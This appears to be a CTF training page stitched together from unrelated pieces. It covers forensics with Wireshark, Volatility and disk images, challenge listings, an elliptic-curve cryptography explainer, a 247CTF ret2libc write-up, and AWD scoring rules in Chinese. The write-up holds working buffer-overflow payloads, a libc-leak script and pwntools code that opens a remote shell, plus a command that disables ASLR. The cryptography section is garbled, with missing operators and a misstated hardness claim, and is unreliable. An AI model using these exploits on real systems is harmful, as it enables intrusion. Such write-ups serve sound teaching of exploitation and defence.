+The interface of Wireshark is shown in Figure 9-3-1. After loading the traffic packet you can see the network traffic, protocols and status are distinguished by color, click on a traffic to see the details of the traffic. Enter the filter expression in the filter field to filter the traffic and see the required network traffic. If you want to filter network traffic for the FTP protocol, enter the FTP expression to see the results (see Figure 9-3-2).
+ + +Tshark is a command-line tool for Wireshark. Wireshark builds the metadata of traffic packets in memory, so Tshark is useful for analyzing huge traffic packets and can significantly improve performance. Tshark's command-line parameters are very complex, and the details of how to use them can be found at https://www.wireshark.org/ docs/man-pages/tshark.html for details. An example of filtering FTP protocols in the same traffic packets as the previous section is shown in Figure 9-3-3.
+ +Wireshark's "Statistics" menu allows you to view the general status of traffic packets, such as which protocols are included, which IP addresses are involved in the session, and so on. Figure 9-3-4 and Figure 9-3-5 show the protocol hierarchy statistics and session statistics, respectively. These two functions can help us quickly locate the point that needs to be analyzed, because the traffic analysis in CTF often has a lot of interference traffic, and the traffic required by the questioner is usually obtained in the LAN or a specific few hosts, by viewing the traffic information can greatly save the time to find the traffic that needs to be analyzed.
+ + +The most widely used transport layer protocol in computer networks is TCP, which is a connection-oriented protocol that allows both transmitting parties to ensure transparent transmission and only care about the data they get. However, in the actual transmission process, TCP traffic can be sliced into many small datagrams due to the MTU, making it inconvenient to analyze. To address this situation, Wireshark provides the ability to trace TCP streams. By selecting a datagram and right-clicking on "Trace TCP Stream", you can obtain all the data transmitted by both parties in the TCP session for further analysis, see Figure 9-3-6.
+ +For common protocols such as HTTP, Wireshark provides an export object function (in the "File" menu) that makes it easy to extract information such as files sent during transmission. Figure 9-3-7 shows the export function for HTTP objects.
+ +Sometimes the traffic packets that need to be analyzed are almost always encrypted traffic for the SSL protocol, and if the SSL key log can be obtained from another location in the topic, then Wireshark can be used to attempt to decrypt the traffic. The Wireshark parsable SSL key log file is shown below.
+ +After obtaining this form of key log, we can open Wireshark's preferences, select the SSL protocol in the "Protocol" option, and then fill in the path to the key file in "(Pre)-Master-Secret Log Filename" (see Figure 9-3-8), and then decrypt some of the SSL traffic.
+ +Due to the complexity of network protocols, there are far more places where data can be hidden than just the normal transmission flow. Therefore, when analyzing network traffic packets, if no breakthrough can be found from the data transmitted in the normal way, then it is necessary to focus on some protocols that look abnormal in the traffic packets and carefully examine the fields to observe whether there is any imprint of hidden data. Figure 9-3-9 and Figure 9-3-10 are examples of using the length of ICMP datagram to hide information in a foreign CTF competition.
+ + +There are some special kinds of traffic analysis in CTF, and the traffic package provided in the title is not network traffic, but other types of traffic. This section will introduce the analysis method of USB keyboard and mouse traffic.
+USB traffic packets in Wireshark are shown in Figure 9-3-11. In CTF, we only need to focus on USB Capture Data, that is, the acquired USB data, according to the form of data can determine the different USB devices. Detailed documentation about USB data can be obtained from the official USB website, such as https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf and https://usb.org/sites/default/files/ documents/hid1_11.pdf.
+ +The USB keyboard datagram has 8 bytes each time, and the specific meaning is shown in Table 9-3-1.
+Since it is usually pressed one key at a time during normal use, you only need to pay attention to the key combination status of byte 0 and the key code of byte 2. See Table 9-3-2 for the meaning of the 8-bit key combination in byte 0.
+The USB mouse datagram is 3 bytes, see Table 9-3-3 for the specific meaning.
+ + + +The partial mapping table for the keyboard keys is shown in Figure 9-3-12 (from the official USB documentation), the full mapping table can be found on the official USB website.
+For a USB traffic packet, the Tshark tool can easily obtain the pure data fields: tshark-r filename.pcapng-T fields-e usb.capdata +After obtaining the data, according to the previous meaning, using languages such as Python, you can write scripts to restore the information and get it for further analysis.
+ +In CTF, there are a variety of traffic packet analysis topics, and the above is just a brief introduction to the common test points and basic solution ideas. If you encounter other types of questions, the reader also needs to be familiar with the corresponding protocols to analyze where information may be hidden.
+Memory forensics questions in CTF take the form of providing a complete memory image or a core dump file, and participants should analyze information such as the processes being executed in memory to solve what they need. Memory forensics often works in conjunction with other forensics, and a common framework is Volatility, an open source professional memory forensics tool from the Volatility Open Source Foundation that supports memory image analysis for Windows, Linux, and other operating systems.
+When we get a memory image, we first need to determine the basic information of the image, the most important of which is to determine what kind of operating system the image is. volatility tool provides the basic analysis of the image, using the imageinfo command to get the image information, see Figure 9-3-13.
+ +Once we have the image information, we can use a specific configuration file to analyze the image. Volatility provides many commands for analyzing processes, such as pstree, psscan, pslist, etc. These commands vary in strength and output. Figure 9-3-14 shows the process information obtained using psscan.
+ +In addition, the filescan command can scan open files, as shown in Figure 9-3-15. When a suspicious file or process in memory is identified, the relevant data can be exported using the dumpfile and memdump commands, and then the exported data can be binary analyzed. the Screenshot function can obtain a screenshot of the system at this moment, see Figure 9-3-16.
+ + +For different systems, Volatility supports many unique features, such as support for getting text directly from an open Notepad process under Windows, or Dumping out information such as password hash values contained in memory about Windows logins.
+Volatility supports third-party plugins, and there are many developers who have developed powerful plugins such as https://github.com/superponible/volatility-plugins. When the commands that come with the framework don't meet your needs, look for a good plugin.
+For memory forensics topics, we can easily solve them if we are familiar with the common commands of Volatility tools and can analyze the extracted files in combination with other types of knowledge (e.g. image steganography, zip analysis, etc.).
+Disk forensics questions in CTF typically provide a disk image in an unknown format, and participants need to analyze the usage traces left by the user to find hidden data. Since disk forensics is a file-based analysis, it often appears alongside other directions that examine forensics and are closer to real forensics work. Compared to memory forensics, disk forensics is generally more informative, although it is relatively easy to locate specific usage traces of users because it contains more information. Disk forensics generally does not require specialized software, unless it is a disk image in some special format, such as VMWare's VMDK or Encase's EWF.
+Similar to memory forensics, the first step in disk forensics is to determine the type of disk and mount it, which can be done with the file command that comes with UNIX/Linux, see Figure 9-3-17.
+ +After confirming the type, you can use the "fdisk-l" command to view the volume information on the disk and get the type, offset, etc. of each volume, see Figure 9-3-18. Then you can mount the disk image using the "mount" command. mount The format of the command is as follows.
+ +For local file mounts, the "loop" item is included, and if it is a multi-partition image as described above, then the "offset" item should be added and its value specified. If the file system is not natively supported by the system, then you need to install the relevant driver, such as NTFS-3g driver for mounting NTFS file system under Linux. The successfully mounted folder is shown in Figure 9-3-19.
+ +Once the image is mounted, the questioner must have operated on the file system when creating the image, so you can follow the common forensic steps to analyze the file system usage traces. For example, the ".bash_history" file in the Linux file system and the Recent folder under Windows will have a history of operations on the file system, see Figure 9-3-20.
+ +Once the suspicious file is obtained, it can be extracted for binary analysis. In most cases, the suspicious file itself will use other information hiding techniques, such as steganography.
+There are also disk image forensic type questions that focus on the unique features of certain file systems, such as inode recovery in EXT series file systems, FAT table recovery in FAT series file systems, snapshot features and nanosecond timestamp features of APFS file systems, etc. When you encounter a bottleneck in the analysis of a file, you may want to understand the characteristics of the file system itself to find a breakthrough.
+Disk forensics questions are actually similar to memory forensics questions and are often combined with compressed package analysis, image steganography, and other types of questions. As long as the participant is familiar with common images, can determine the type of image and mount or extract the file, and with a certain understanding of the file system, he or she can successfully solve hard disk forensics related questions.
+With the continuous development of CTF, Misc type questions examine a wider and wider range of knowledge points, and become more and more difficult compared to the simple picture steganography of a few years ago. Due to the limitation of space, this chapter only briefly introduces several sets of questions that appear more frequently in the CTF. As written in the introduction of this chapter, in high quality competitions, in addition to the set of questions introduced in this chapter, participants often encounter many novel questions, which either examine the depth and breadth of the participants' knowledge, or examine the participants' ability to learn quickly. These require the participants to have certain computer expertise, as well as the need to search and read a lot of information with the help of search engines, and to solve the topics through rapid learning.
+What's a CTF? Join our QQ Group to get the flag!
+Flag? Flag!
+Flag format: flag{xxxxxxxx}
Download attachment: fenxi.pcapng
+In fact this isn't a Web challenge.
+Flag format: flag{xxxxxxxx}
Download attachment: sql.pcapng
+ + + + + + + + +++Reference https://ithelp.ithome.com.tw/articles/10251031 by 羊小咩
+
Today we are going to introduce ECC, which is also a security mechanism based on mathematical difficulties.
+Since ECC is originally a difficult algorithm, the ECC process and principles in the text are streamlined with many steps, algorithms, and some terminology in the mathematical field
+Geometric addition, Algebraic addition, Scalar multiplication, Abelian group... These are not easy to understand in a few words, but require some basic concepts.
+In general, I think it is a simple and concise way to explain
+I think it is really difficult to explain ECC concisely.
+ +Elliptic Curve Cryptography (ECC) is a public key cryptography algorithm based on the mathematics of elliptic curves. The use of elliptic curves in cryptography was independently proposed by Neal Koblitz and Victor Miller in 1985.
+Another advantage of ECC is that it can define bilinear mappings between groups, based on Weil pairs or Tate pairs; bilinear mappings have found numerous applications in cryptography, such as identity-based encryption.
+ +An elliptic curve is a plane curve defined by an equation of the form:
+ +where a and b are real numbers. This class is called the Weierstrass equation
+ +Addition
+Draw a straight line through two points P and Q on the curve and find the intersection of the straight line and the elliptic curve -R
+The point of intersection is defined as P Q. The point of intersection is defined as the symmetric position of the x-axis. As shown in the figure below: PQ = R
+ +Multiplicative definition (two-fold operation)
+The above method does not explain the case where P P, i.e., two points coincide. Therefore, in this case, the tangent of the elliptic curve at point P, the intersection with the elliptic curve, and the point of the intersection about the symmetric position of the x-axis are defined as P P, i.e., 2P, which is a doubling operation
+ +Infinity point
+If we add A and -A, the straight line through A and -A is parallel to the y-axis, and the straight line intersects the elliptic curve at the infinity point.
+ +According to the definition of the above properties, we can organize
+The equation of elliptic curve is y^2=x^3+ax+b
+This curve is exactly symmetric to the x-axis (y=0) of this straight line
+The parameters a and b must satisfy 4a^3+27b^2≠0 to ensure that there are no repeated roots and have a unique solution!
+The additive unit element O is an infinite point and satisfies O = -O
+This additive unit element also needs to satisfy: a point on the elliptic curve that is common to three points whose union is O
+Any point on the curve is reflected by the x-axis (y=0) and remains the same curve (peculiar symmetry)
+Any line not perpendicular to the curve will have at most three points of intersection
+Strange symmetry
+The elliptic curve is drawn. It has several interesting properties.
+One of them is horizontal symmetry. Any point on the curve can be reflected on the x-axis and maintain the same curve. An even more interesting property is that any non-perpendicular line will intersect the curve in at most three places.
+The elliptic curve is compared to a game of batting, where the ball is clicked from point A to point B. When it hits a point on the curve, the ball is then moved to the next point, +When it hits a point on the curve, it bounces back to point C on the other side (above or below the x-axis).
+ +First imagine that the ball moves in two points called "dot"
+A dot B = C +A dot A = B +A dot C = D +... ... ...
+There are only two points here (called: the initial point & final point)
+The initial point P is tapped n times by itself (as Private Key) to get a final point Q (as Public Key)
+Even if you know the "initial point" and "final point"
+It is very, very difficult to find n!
+elliptic curves are continuous and easily extrapolated, and therefore, are not suitable for encryption.
+Therefore, we must make the elliptic curve a discrete point
+The elliptic curve is defined on a finite field, and then the integer field GF(p) modulo the prime number is used
+A finite field GF(p) is a set of integers consisting of 0, 1, 2 ......p-1 with p elements, given a certain prime number p. It is defined by adding, subtracting, multiplying, and dividing.
+Suppose the elliptic curve is y² = x³+x+1, which is written as follows when it is over a finite field GF(23)
+y² ≡ x³+x+1 (mod 23)
+The elliptic curve is no longer smooth at this point, but with some discontinuous points, as shown in the figure below. For example, the point (1,7), 7² ≡ 1³ 1 1 ≡ 3 (mod 23). In this way, there are also points as follows.
+ (0,1) (0,22)
+ (1,7) (1,16)
+ (3,10) (3,13)
+ (4,0)
+
+This will make the original curve look continuous
+ +Converting to finite fields
+ +Then you can play the game of Greedy Snake (?)
+The line from point A to point B is not perpendicular to the curved EC line and will only have at most three intersections!
+When the collision reaches the third intersection, the third intersection must find a symmetrical point C on the x-axis of the EC curve (above or below)
+ +Set up a finite field Fp
+after the selection of the curve and the calculation of the given parameters
+The curve is known at two points P(3,10) and Q(9,7) on E23(1,1), find (1) -P, (2) P+Q, (3) 2P
+ +If at a point P on the elliptic curve, there exists the smallest positive integer n such that the number multiplier nP = O∞ , then n is called the order of P
+If n does not exist, then P is of infinite order
+ +Therefore, after selecting n, we can calculate 27P = -P
+So 28P=O ∞ The order of P is 28
+These points make a cyclic Abelian group, where the generating element is P and the order is 28
+and select the basis points from it and start calculating
+Consider K=kG , where K and G are points on the elliptic curve Ep(a,b), n is the order of G (nG=O∞), and k is an integer smaller than n.
+Then given k and G, it is easy to calculate K according to the law of addition
+But conversely, given k and G, it is very difficult to find k
+where k and K are the private key and public key respectively.
+This is the flow of elliptic curve calculation
+An elliptic curve {p,a,b,G,n,h}
Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.
+Public key encryption.
+Choose a random number r to generate a ciphertext C from the message M, which is a point pair, i.e.
+C = {rG, M rK}, where K is the public key
+Private key decryption.
+M rK - k(rG) = M r(kG) - k(rG) = M
+where k and K are the private key and public key respectively.
+It is very difficult to find x for the known G and xG on the elliptic curve, which is the discrete logarithm problem on the elliptic curve. Here x is the private key and xG is the public key.
+Set the private key and public key as k and K respectively, i.e., K = kG, where G is the G point.
+Private key signature.
+Public key verification signature.
+The principle is as follows.
+hG/s xK/s = hG/s x(kG)/s = (h xk)G/s
+= r(h xk)G / (h kx) = rG
+ + + + + + + + +++Reference https://duroz.github.io/post/247ctf-pwn-non-executable-stack/
+By Daniel Uroz
+
In this post, we’ll cover how to exploit a stack-based buffer overflow, this time with the stack marked as non-executable. We first detail how to manually exploit the binary locally and then in the remote server. In the end, we’ll use the Python library pwntools to speed up exploit development.
+This time, 247/CTF gives us a binary called non_executable_stack
with the following description:
++There are no hidden flag functions in this binary. Can you make your own without executing from the stack?
+
And here is an example of execution flow:
+$ ./non_executable_stack
+Enter the secret password:
+kk
+Incorrect secret password!
+
+It’s an ELF 32-bit as in previous pwn challenges, but this time with NX bit enables to make stack segment (and any other) writable but not executable:
+$ checksec non_executable_stack
+[*] '/home/urzu/247ctf/pwn/non_executable_stack'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: No PIE (0x8048000)
+
+This checksec
version is the one coming with pwntools (you can install it with python3 -m pip install pwntools
), there is also a Bash script with the same functionality.
If we analyze the binary, we can quickly spot the use of the gets
function to retrieve the password, so we can overflow the buffer due to no outbounds checking of the function:
$ r2 non_executable_stack
+-- Virtual machines are great, but you lose the ability to kick the hardware.
+[0x080483c0]> aa
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[0x080483c0]> s sym.chall
+[0x080484d6]> pdf
+ ; CALL XREF from main @ 0x804857f
+┌ 103: sym.chall ();
+│ ; var int32_t var_28h @ ebp-0x28
+│ ; var int32_t var_4h @ ebp-0x4
+│ 0x080484d6 55 push ebp
+│ 0x080484d7 89e5 mov ebp, esp
+│ 0x080484d9 53 push ebx
+│ 0x080484da 83ec24 sub esp, 0x24
+[... redacted ...]
+│ 0x080484eb 8d45d8 lea eax, [var_28h]
+│ 0x080484ee 50 push eax
+│ 0x080484ef e88cfeffff call sym.imp.gets ; char *gets(char *s) <--- buffer overflow
+[... redacted ...]
+│ │ 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]
+│ │ 0x0804852e 50 push eax
+│ │ 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)
+│ │ 0x08048534 83c410 add esp, 0x10
+│ │ ; CODE XREF from sym.chall @ 0x8048523
+│ └──> 0x08048537 90 nop
+│ 0x08048538 8b5dfc mov ebx, dword [var_4h]
+│ 0x0804853b c9 leave
+└ 0x0804853c c3 ret
+[0x080484d6]>
+
+This problem is that, whereas in previous challenges we could execute our payload directly into the stack, this time NX bit is preventing us to do so. Still, we can overwrite the return based stored in the stack to control the program flow, so why don’t use the code already residing in executable segments for our purpose? This is the main idea behind Return-to-libc attack and Return-oriented programming.
+This attack relies on using code marked as executable contained in the libc
shared library. libc
provides a runtime environment to C programs, so it is usually loaded into the memory of most processes. In this binary, we can see that it will effectively be loaded thanks to:
$ ldd non_executable_stack
+linux-gate.so.1 (0xf7fd2000)
+libc.so.6 => /lib32/libc.so.6 (0xf7dd4000)
+/lib/ld-linux.so.2 (0xf7fd4000)
+
+libc
provides a lot of functions like printf
, scanf
, fopen
, and so on. Thus, if we can execute the system
function (which executes a shell command) with the /bin/sh
parameter, we’ll be able to prompt an interactive shell.
We’re going to develop a local version of the exploit and, to make it easier, we’re going to deactivate ASLR protection of our system:
+$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+0
+
+Firstly, we can obtain the necessary padding to overwrite the return address by placing a breakpoint just before the ret
instruction (0x0804853c
in the code above) and seeing where is our input:
$ r2 -d non_executable_stack
+Process with PID 2381 started...
+= attach 2381 2381
+bin.baddr 0x08048000
+Using 0x8048000
+asm.bits 32
+glibc.fc_offset = 0x00148
+ -- Most likely your core dump fell into a blackhole, can't see it.
+[0xf7fd50b0]> aa
+[x] Analyze all flags starting with sym. and entry0 (aa)
+[0xf7fd50b0]> db 0x0804853c
+[0xf7fd50b0]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+hit breakpoint at: 804853c
+[0x0804853c]> px -0x2c @ esp
+- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
+0xffffd1d0 6b6b 00ff 9096 fef7 90f8 faf7 00a0 0408 kk..............
+0xffffd1e0 00e0 faf7 00e0 faf7 08d2 ffff 7c85 0408 ............|...
+0xffffd1f0 5886 0408 00a0 0408 08d2 ffff X...........
+[0x0804853c]>
+
+Our input starts 0x2c
before, so this is the amount of padding we need to provide and, then, the return address of the function we want to execute (system
in this case). In addition, thanks to deactivating ASLR, libc
will be loaded in the same base address during multiple executions (0xf7dd4000
in the example):
[0x0804853c]> dmm
+0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack
+0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so
+0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so
+[0x0804853c]> ood
+PTRACE_CONT: No such process
+child received signal 9
+Process with PID 2337 started...
+= attach 2337 2337
+File dbg:///home/urzu/247ctf/pwn/non_executable_stack reopened in read-write mode
+2337
+[0xf7fd50b0]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+[0xf7fd3069]> dmm
+0x08048000 0x08049000 /home/urzu/247ctf/pwn/non_executable_stack
+0xf7dd4000 0xf7ded000 /usr/lib32/libc-2.28.so
+0xf7fd4000 0xf7fd5000 /usr/lib32/ld-2.28.so
+[0xf7fd3069]>
+
+So, our payload would look something like this (the dummy address is explained a bit below):
+[0x2c padding] + [system address] + [dummy address] + [/bin/sh address]
+
+We can obtain the function RVA with the following:
+$ rabin2 -s /usr/lib32/libc-2.28.so | grep -w system
+1525 0x0003e9e0 0x0003e9e0 WEAK FUNC 55 system
+
+And the string offset (like an RVA) inside the library thanks to:
+$ strings -t x /usr/lib32/libc-2.28.so | grep /bin/sh
+17eaaa /bin/sh
+
+As we already know that libc
will be loaded in 0xf7dd4000
address, we can add those RVA to the base address to obtain the following payload:
[0x2c padding] + [0xf7e129e0] + [dummy address] + [0xf7f52aaa]
+
+We can check that we effectively calculate the absolute address right with radare2:
+[0xf7f3b000]> dmi libc system
+257 0x0012a2c0 0xf7efe2c0 GLOBAL FUNC 102 svcerr_systemerr
+658 0x0003e9e0 0xf7e129e0 GLOBAL FUNC 55 __libc_system
+1525 0x0003e9e0 0xf7e129e0 WEAK FUNC 55 system
+[0xf7f3b000]> / /bin/sh
+Searching 7 bytes in [0xf7f3b000-0xf7fab000]
+hits: 1
+0xf7f52aaa hit5_0 .b/strtod_l.c-c/bin/shexit 0canonica.
+
+If we try our exploit, we can effectively obtain an interactive shell (the cat command is to maintain program stdin open and feed non_executable_stack with our commands):
+$ (python2 -c 'print("A"*0x2c + "\xe0\x29\xe1\xf7" + "A"*4 + "\xaa\x2a\xf5\xf7")' && cat) | ./non_executable_stack
+Enter the secret password:
+Incorrect secret password!
+whoami
+urzu
+
+So, why do we need a dummy address between our function call and the parameter? This is due to how stack frames are constructed during function calls. We’ll see it with a simple C example:
+#include <stdio.h>
+
+int main(int argc, char** argv) {
+ puts("Hello World!");
+ return 0;
+}
+
+Okay, so if we analyze the compiled binary (gcc -o test.out -m32 -no-pie test.c
) with radare2, we'll see that the parameter "Hello World!"
is passed into the stack at line 0x08049184
:
│ 0x0804917e 8d9008e0ffff lea edx, [eax - 0x1ff8]
+│ 0x08049184 52 push edx
+│ 0x08049185 89c3 mov ebx, eax
+│ 0x08049187 e8a4feffff call sym.imp.puts ; int puts(const char *s)
+│ 0x0804918c 83c410 add esp, 0x10
+
+After executing 0x08049184
, the stack looks like this:
| ... |
+|-----------------|
+| @"Hello World!" |
+|-----------------|
+| ... |
+
+Now, the function call at 0x08049187
will push the return address into the stack, so after the puts
function ends doing its magic, the execution flow of our program will continue as if nothing happened. This means that when puts
start to execute, it will see the stack as this:
| ... |
+|-----------------|
+| 0x0804918c | <--- return address of the caller
+|-----------------|
+| @"Hello World!" |
+|-----------------|
+| ... |
+
+This return address is exactly our dummy address from our payload. So, in our payload, after the shell finished executing, the binary will probably crash as the program will change execution flow to 0x41414141
and very likely nothing valid is there. Therefore, we can change our dummy address with the address of the exit function (calculated the same way that system
function above) to produce a clean exit of the program:
[0x2c padding] + [0xf7e129e0] + [0xf7e03a60] + [0xf7f52aaa]
+
+Well, now we know how to exploit the binary locally, but we need to consider two aspects to exploit it in the server:
+libc
is installed.To overcome the two limitations, we can use a libc
function leakage.
You can read more in detail in this blog, but we only need to know a general idea. When a dynamic linked binary is using an external function (like libc
puts
), your code can’t reference an absolute address of the library because this will change after each execution (due to ASLR) and it won’t be portable (different version of libc
will have that function in different locations).
So, to overcome this issue, your code reference to another section within your binary, the Procedure Linkage Table (PLT). This section is responsible for either triggering linker resolution of the target function (due to lazy binding) or jumping to the target function if it was already resolved. The latter is stored in the Global Offset Table (GOT) section, which is the actual table of offsets as filled in by the linker for external symbols.
+You can see how non_executable_stack
reference to the PLT in the code:
[0x080484d6]> pdf
+[... redacted ...]
+│ │ 0x08048528 8d833de6ffff lea eax, [ebx - 0x19c3]
+│ │ 0x0804852e 50 push eax
+│ │ 0x0804852f e85cfeffff call sym.imp.puts ; int puts(const char *s)
+[... redacted ...]
+
+If we see the content of that address, we can see that there is another jump:
+[0x080484d6]> s sym.imp.puts
+[0x08048390]> pd 1
+ ; CALL XREFS from sym.chall @ 0x804851b, 0x804852f
+ ; CALL XREF from main @ 0x8048577
+┌ 6: int sym.imp.puts (const char *s);
+│ bp: 0 (vars 0, args 0)
+│ sp: 0 (vars 0, args 0)
+│ rg: 0 (vars 0, args 0)
+└ 0x08048390 ff2518a00408 jmp dword [reloc.puts] ; 0x804a018
+
+If we go to that address, we’ll see that there is another reference to the binary itself, this is the PLT stub responsible to resolve the address of the external symbol, so puts haven’t been invoked yet:
+[0x08048390]> s reloc.puts
+[0x0804a018]> pd 1
+ ; DATA XREF from sym.imp.puts @ 0x8048390
+ ;-- reloc.puts:
+ 0x0804a018 .dword 0x08048396 ; RELOC 32 puts
+
+If we continue execution to force puts
resolution, now we can see that now the GOT is pointing to the actual offset in memory:
[0x0804a018]> dc
+Enter the secret password:
+kk
+Incorrect secret password!
+[0xf7fd3069]> s -
+[0x0804a018]> pd 1
+ ; DATA XREF from sym.imp.puts @ 0x8048390
+ ;-- reloc.puts:
+ 0x0804a018 .dword 0xf7e3b0a0 ; RELOC 32 puts
+[0x0804a018]> dmi libc puts
+[... redacted ...]
+458 0x000690a0 0xf7e3b0a0 WEAK FUNC 416 puts
+[... redacted ...]
+[0x0804a018]>
+
+libc
leakageWith all of this in mind, we can construct our payload the same way as before, but instead, to reference the absolute address of the functions, we can use the address of the PLT known functions. We can use this technique only because the binary isn’t a Position Independent Executable (PIE) and we can reference the absolute value of the PLT as we know where the binary will be mapped during execution (base address 0x8048000
).
So, in this case, our payload will be like this:
+[0x2c padding] + [puts@plt] + [dummy address] + [puts@got]
+
+This time, we’re calling the puts@plt
at 0x08048390
with the puts@got
at 0x0804a018
as a parameter (which it’ll be sent to us as a string):
[0x2c padding] + [0x08048390] + [dummy address] + [0x0804a018]
+
+If we try our newly crafted payload:
+$ python2 -c 'print("A"*0x2c + "\x90\x83\x04\x08" + "A"*4 + "\x18\xa0\x04\x08")' | nc ad520e503a0ec4e0.247ctf.com 50341 | xxd
+00000000: 456e 7465 7220 7468 6520 7365 6372 6574 Enter the secret
+00000010: 2070 6173 7377 6f72 643a 0a49 6e63 6f72 password:.Incor
+00000020: 7265 6374 2073 6563 7265 7420 7061 7373 rect secret pass
+00000030: 776f 7264 210a 60d3 dbf7 90ed d6f7 0a word!.`........
+
+So, now we know that puts
in the server is placed at 0xf7dbd360
address. With this information, we can search a libc database to download this specific version (libc6-i386_2.27-3ubuntu1_amd64
). In case that address matches different versions, we can leak other addresses as gets
or strcmp
to limit the results.
If we run again our Python command with the payload, we’ll see that this time puts
address is different, so we can confirm that the remote server has ALSR activated.
The main problem here is that we need to know the base address of the libc
library to construct our payload. We can obtain it thanks to the puts
address leakage:
[libc base adddress] = [puts address leaked] - [libc6-i386_2.27-3ubuntu1_amd64.puts RVA]
+
+But if we provide a dummy address to the payload, the remote program will crash, and in the next execution, the base address will be different. So, we can provide the main
address to continue execution and interact again with the program and the vulnerable gets function to overwrite again the return address, this time with the first payload we described earlier, but instead of referencing the absolute addresses, we can use them as:
[function VA] = [libc base address] + [function RVA]
+
+Be aware that the second padding of the payload may change, so you need to recalculate it again, but we’re lucky enough and this time the padding is the same. With all of this in mind, here is what our final script would look like:
+import socket
+import struct
+
+hostname = 'ad520e503a0ec4e0.247ctf.com'
+port = 50341
+
+conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP socket
+conn.connect((hostname, port))
+
+print('[*] Connected to {}:{}'.format(hostname, port))
+
+conn.recv(1024)
+
+payload = b'A' * 0x2c
+payload += struct.pack('<I', 0x08048390) # puts@plt
+payload += struct.pack('<I', 0x0804853d) # main
+payload += struct.pack('<I', 0x0804a018) # puts@got
+conn.sendall(b'%b\r\n' % payload)
+print('[*] Payload sent: {}B'.format(len(payload)))
+
+data = conn.recv(1024).split(b'\n')[1]
+puts_leak = struct.unpack('<I', data[:4])[0]
+print('[*] puts leaked address: {:#x}'.format(puts_leak))
+
+libc_base = puts_leak - 0x67360
+print('[*] libc base address: {:#x}'.format(libc_base))
+
+libc_system = libc_base + 0x3cd10
+libc_exit = libc_base + 0x2ff70
+libc_shell = libc_base + 0x17b8cf
+
+payload = b'A' * 0x2c
+payload += struct.pack('<I', libc_system)
+payload += struct.pack('<I', libc_exit)
+payload += struct.pack('<I', libc_shell)
+conn.sendall(b'%b\r\n' % payload)
+print('[*] Payload sent: {}B'.format(len(payload)))
+conn.recv(1024)
+
+print('[*] Interactive shell\n')
+
+try:
+ command = input('$ ')
+
+ while command != 'exit':
+ conn.sendall('{}\n'.format(command).encode('utf-8'))
+ print(conn.recv(1024).decode('utf-8'), end='')
+ command = input('$ ')
+except (EOFError, KeyboardInterrupt):
+ pass
+
+conn.close()
+
+And an execution trace:
+$ python3 exploit-remote.py
+[*] Connected to ad520e503a0ec4e0.247ctf.com:50341
+[*] Payload sent: 56B
+[*] puts leaked address: 0xf7d5d360
+[*] libc base address: 0xf7cf6000
+[*] Payload sent: 56B
+[*] Interactive shell
+
+$ ls
+chall
+flag_[0-9]+.txt
+$ cat flag_[0-9]+.txt
+247CTF{[a-f0-9]{32}}
+$ exit
+
+This blog post is already long enough, so I’ll only show how exploit-remote.py
script looks when ported to pwntools. I’ll leave all details up to you but the library is pretty straightforward:
import pwn
+
+hostname = 'ad520e503a0ec4e0.247ctf.com'
+port = 50341
+
+io = pwn.remote(hostname, port)
+
+elf = pwn.ELF('non_executable_stack')
+libc = pwn.ELF('libc6-i386_2.27-3ubuntu1_amd64.so')
+
+payload = b'A' * 0x2C
+payload += pwn.p32(elf.plt['puts'])
+payload += pwn.p32(elf.symbols['main'])
+payload += pwn.p32(elf.got['puts'])
+
+io.recvline()
+io.sendline(payload)
+pwn.log.info('Payload sent: {}B'.format(len(payload)))
+io.recvline()
+puts_leak = pwn.u32(io.recvline()[:4])
+pwn.log.info('puts leaked address: {:#x}'.format(puts_leak))
+
+libc_base = puts_leak - libc.symbols['puts']
+pwn.log.info('libc base address: {:#x}'.format(libc_base))
+libc_system = libc_base + libc.symbols['system']
+libc_exit = libc_base + libc.symbols['exit']
+libc_shell = libc_base + next(libc.search(b'/bin/sh\x00'))
+
+payload = b'A' * 0x2C
+payload += pwn.p32(libc_system)
+payload += pwn.p32(libc_exit)
+payload += pwn.p32(libc_shell)
+
+io.recvline()
+io.sendline(payload)
+pwn.log.info('Payload sent: {}B'.format(len(payload)))
+io.recvline()
+io.interactive()
+
+A tutorial to the ROP.
+ +Do you know return to libc?
+ +A challenge, a real challenge, for your last CTF for this semester! 🎶🎶🎶
+nc 103.125.216.173 9009
Attack with Defense 是 CTF 攻防比赛模式。区别于传统的 Jeopardy 解题模式,AWD 更注重时效性,且对参赛选手的攻击、防御技能均有所要求。
+AWD 中有如下定义:
+总轮数 = 比赛总时长 / 单轮时长
。成功利用其他队伍靶机上的漏洞,获取到对方靶机上的 Flag 并提交,即攻击成功。此时,被攻击的队伍的靶机将显示为“被攻陷”状态。
+当靶机上的 Flag 被其他队伍提交时,该靶机将显示为“被攻陷”状态。
+当 Check 脚本运行后,检测到靶机服务不可用或功能不全,则该靶机将显示为“宕机”状态。
+++这里假设在 Cardinal 配置文件中,攻击失分为 50 分,宕机失分为 50 分。
+
被攻击的靶机,将减去 50 分。
+在该轮中成功攻击该靶机的所有队伍,一起平分该靶机扣分时失去的的分数。得分加到各自相应题目的靶机上。
+例如:John 攻击了 Alice 的 Web1 靶机;Mashiro 攻击了 Alice 的 Web1 靶机。
+则 Alice 的 Web1 靶机 -50 分。John 和 Mashiro 各自的 Web1 靶机平分这减去的 50 分。即 John 和 Mashiro 每人 +25 分。
+此时全部队伍的加分与扣分之和,依然为零。
+被 Check 检测到服务宕机的靶机,将减去 50 分。
+在该轮中题目服务正常的靶机,平分该题目下,所有宕机靶机失去的分数。
+例如:John、Alice、Mashiro 的 Pwn2 靶机被检测判定为服务宕机,Asuna、Emiria 的 Pwn2 靶机一直服务正常。
